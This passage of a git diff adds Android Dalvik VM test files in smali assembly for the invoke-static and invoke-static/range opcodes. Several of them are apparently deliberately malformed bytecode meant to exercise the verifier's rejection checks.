+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_16.smali
new file mode 100644
index 0000000..16265a8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_16.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_16.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-static {v3}, Ljava/lang/Math;->abs(I)I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_17.smali
new file mode 100644
index 0000000..c4cb126
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_17.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_17.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_17;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 1
+
+       invoke-static {}, Ldot/junit/opcodes/invoke_static/TestClass;->testProtected()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_19.smali
new file mode 100644
index 0000000..cbaa941
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_19.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_19.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_19;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 3
+
+       invoke-static {}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+       const/4 v0, 0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_2.smali
new file mode 100644
index 0000000..89abdfc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_2.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-static {}, Ldot/junit/opcodes/invoke_static/TestClass;->test()I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_20.smali
new file mode 100644
index 0000000..f0bee86
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_20.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_20.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_20;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const-wide v1, 1
+       invoke-static {v1}, Ljava/lang/Math;->abs(I)I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_3.smali
new file mode 100644
index 0000000..5adf1ec
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_3.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -1234567
+       invoke-static {v1}, Ljava/lang/Math;->abs(I)I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_4.smali
new file mode 100644
index 0000000..ab8bf27
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_4.smali

@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_4.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_4;
+.super  Ljava/lang/Object;
+
+.field static val:J
+
+.method static constructor <clinit>()V
+.registers 2
+
+       const-wide/32 v0, 123456789
+       sput-wide v0, Ldot/junit/opcodes/invoke_static/d/T_invoke_static_4;->val:J
+       return-void
+.end method
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()J
+.registers 4
+:Label0
+       sget-wide v2, Ldot/junit/opcodes/invoke_static/d/T_invoke_static_4;->val:J
+       return-wide v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_5.smali
new file mode 100644
index 0000000..5de1192
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_5.smali

@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_5.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const/4 v2, 5
+       invoke-static {v2}, Ldot/junit/opcodes/invoke_static/d/T_invoke_static_5;->test(I)I
+       move-result v0
+       return v0
+.end method
+
+.method public test(I)I
+.registers 5
+
+       return v4
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_7.smali
new file mode 100644
index 0000000..e0e6751
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_7.smali

@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_7.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static test()V
+.registers 0
+       return-void
+.end method
+
+.method public run()V
+.registers 1
+
+       invoke-static {}, Ldot/junit/opcodes/invoke_static/d/T_invoke_static_7;->testN()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_8.smali
new file mode 100644
index 0000000..d61ef42
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_8.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_8.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 1
+       invoke-static {}, Ldot/junit/opcodes/invoke_static/TestClass;->testPvt()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_1.smali
new file mode 100644
index 0000000..536369b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_1.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_1.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -1234567
+       invoke-static/range {v1}, Ljava/lang/Math;->abs(I)I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_10.smali
new file mode 100644
index 0000000..1371ce6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_10.smali

@@ -0,0 +1,40 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_10.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_10;
+.super  Ljava/lang/Object;
+
+
+
+.method static constructor <clinit>()V
+.registers 0
+    return-void
+.end method
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-static/range {}, Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_10;-><clinit>()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_11.smali
new file mode 100644
index 0000000..35ec02d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_11.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_11.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -1234567
+       invoke-static/range {}, Ljava/lang/Math;->abs(I)I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_15.smali
new file mode 100644
index 0000000..363eb17
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_15.smali

@@ -0,0 +1,56 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_15.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 6
+
+    const v1, 123
+    const v2, 345
+
+    const v3, 12
+    const v4, 6
+    
+    invoke-static/range {v3..v4}, Ldot/junit/opcodes/invoke_static_range/TestClass;->testArgsOrder(II)I
+
+    move-result v3
+    const v4, 2
+    if-ne v3, v4, :Label0
+
+    const v4, 123
+    if-ne v1, v4, :Label0
+
+    const v4, 345
+    if-ne v2, v4, :Label0
+
+    const v0, 1
+    return v0
+
+:Label0
+    const v0, 0
+    return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_16.smali
new file mode 100644
index 0000000..9094b8c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_16.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_16.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-static/range {v3}, Ljava/lang/Math;->abs(I)I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_17.smali
new file mode 100644
index 0000000..c933ae5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_17.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_17.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_17;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 1
+
+       invoke-static/range {}, Ldot/junit/opcodes/invoke_static_range/TestClass;->testProtected()V
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_19.smali
new file mode 100644
index 0000000..314b922
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_19.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_19.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_19;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 3
+
+       invoke-static/range {}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+       const/4 v0, 0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_2.smali
new file mode 100644
index 0000000..ee63c01
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_2.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-static/range {}, Ldot/junit/opcodes/invoke_static_range/TestClass;->test()I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_20.smali
new file mode 100644
index 0000000..6bbd34c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_20.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_20.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_20;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const-wide v1, 1
+       invoke-static/range {v1}, Ljava/lang/Math;->abs(I)I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_3.smali
new file mode 100644
index 0000000..ba458ed
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_3.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -1234567
+       invoke-static/range {v1}, Ljava/lang/Math;->abs(I)I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_4.smali
new file mode 100644
index 0000000..d1785b5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_4.smali

@@ -0,0 +1,75 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_4.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_4;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private static test(IIIIIIIIII)I
+.registers 11
+    const v0, 10
+    if-ne v0, v10, :Label0
+    const v0, 9
+    if-ne v0, v9, :Label0
+    const v0, 8
+    if-ne v0, v8, :Label0
+    const v0, 7
+    if-ne v0, v7, :Label0
+    const v0, 6
+    if-ne v0, v6, :Label0
+    const v0, 5
+    if-ne v0, v5, :Label0
+    const v0, 4
+    if-ne v0, v4, :Label0
+    const v0, 3
+    if-ne v0, v3, :Label0
+    const v0, 2
+    if-ne v0, v2, :Label0
+    const v0, 1
+    if-ne v0, v1, :Label0
+
+    const v0, 1
+    return v0
+:Label0
+    const v0, 0
+    return v0
+
+.end method
+
+.method public static run()I
+.registers 16
+         const v1, 1
+          const v2, 2
+          const v3, 3
+          const v4, 4
+          const v5, 5
+          const v6, 6
+          const v7, 7
+          const v8, 8
+          const v9, 9
+          const v10, 10
+
+       invoke-static/range {v1..v10}, Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_4;->test(IIIIIIIIII)I
+       move-result v0
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_5.smali
new file mode 100644
index 0000000..96e7b7a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_5.smali

@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
